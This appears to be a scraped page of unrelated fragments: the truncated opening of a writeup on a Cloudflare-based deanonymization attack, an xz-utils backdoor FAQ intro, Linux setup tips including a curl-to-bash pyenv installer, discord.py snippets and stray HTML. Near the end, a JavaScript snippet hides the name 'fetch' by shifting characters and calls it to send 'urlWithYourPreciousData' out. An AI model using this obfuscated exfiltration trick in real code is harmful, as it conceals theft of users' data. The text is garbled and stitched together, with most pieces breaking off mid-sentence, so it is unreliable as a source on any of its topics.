revsuine

hi, i'm daniel. i'm a 15-year-old high school junior. in my free time, i hack billion dollar companies and build cool stuff.

3 months ago, I discovered a unique 0-click deanonymization attack that allows an attacker to grab the location of any target within a 250 mile radius. With a vulnerable app installed on a target's phone (or as a background application on their laptop), an attacker can send a malicious payload and deanonymize you within seconds--and you wouldn't even know.

I'm publishing this writeup and research as a warning, especially for journalists, activists, and hackers, about this type of undetectable attack. Hundreds of applications are vulnerable, including some of the most popular apps in the world: Signal, Discord, Twitter/X, and others. Here's how it works:

Cloudflare

By the numbers, Cloudflare is easily the most popular CDN on the market. It beats out competitors such as Sucuri, Amazon CloudFront, Akamai, and Fastly. In 2019, a major Cloudflare outage k

FAQ on the xz-utils backdoor (CVE-2024-3094)

This is a living document. Everything in this document is made in good faith of being accurate, but like I just said; we don't yet know everything about what's going on.

Update: I've disabled comments as of 2025-01-26 to avoid everyone having notifications for something a year on if someone wants to suggest a correction. Folks are free to email to suggest corrections still, of course.

Background

To run a flatpak app from dmenu, you can create a symlink for the app in /usr/bin. You can find the flatpak apps binary link in /var/lib/flatpak/exports/bin/ on ubuntu. E.g. to run Rocket Chat (installed from flatpak via software center), you can do something like this:

sudo ln -s /var/lib/flatpak/exports/bin/chat.rocket.RocketChat /usr/bin/rocket-chat

This way you will be able to find it in the dmenu.

Resources:

i3wm dmenu add .desktop file

Installing Python 3.5 on Debian Jessie with `pyenv`

Debian Jessie does not come with the correct Python version out of the box, and instead comes with Python 2. To be able to install Python 3(.5), we have a few options. We could build and install from source, but as per Debian's website, we shouldn't do this. Instead, we will use pyenv, a tool that allows users to switch Python versions easily without breaking their system.

Installing `pyenv`

To install pyenv, we will use the official installer.

curl -L https://raw.githubusercontent.com/yyuu/pyenv-installer/master/bin/pyenv-installer | bash

In this article, I will share some of my experience on installing NVIDIA driver and CUDA on Linux OS. Here I mainly use Ubuntu as example. Comments for CentOS/Fedora are also provided as much as I can.

	/*

	This file is now hosted here:

	https://github.com/victornpb/undiscord

	*/

	@commands.guild_only()
	# Command cannot be used in private messages.

	@commands.dm_only()
	# Command can only be used in private messages.

	@commands.is_owner()
	# Command can only be used by the bot owner.

	@commands.is_nsfw()

	import logging

	import discord
	from discord import app_commands
	from discord.ext import commands


	LOGGER: logging.Logger = logging.getLogger(__name__)

	<html>
	<body bgcolor=000000>
	<table boder=0 cellpadding=0 cellspacing=0>

	<tr height=3>

	<td width=3 bgcolor=888888 rowspan=105></td>
	<td bgcolor=888888 colspan=54></td>
	<td width=3 bgcolor=888888 rowspan=105></td>
	</tr>

	const i = 'gfudi';
	const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join('');
	self[k(i)](urlWithYourPreciousData);

revsuine

Cloudflare

FAQ on the xz-utils backdoor (CVE-2024-3094)

Background

Installing Python 3.5 on Debian Jessie with pyenv

Installing pyenv

Table of Contents

Installing Python 3.5 on Debian Jessie with `pyenv`

Installing `pyenv`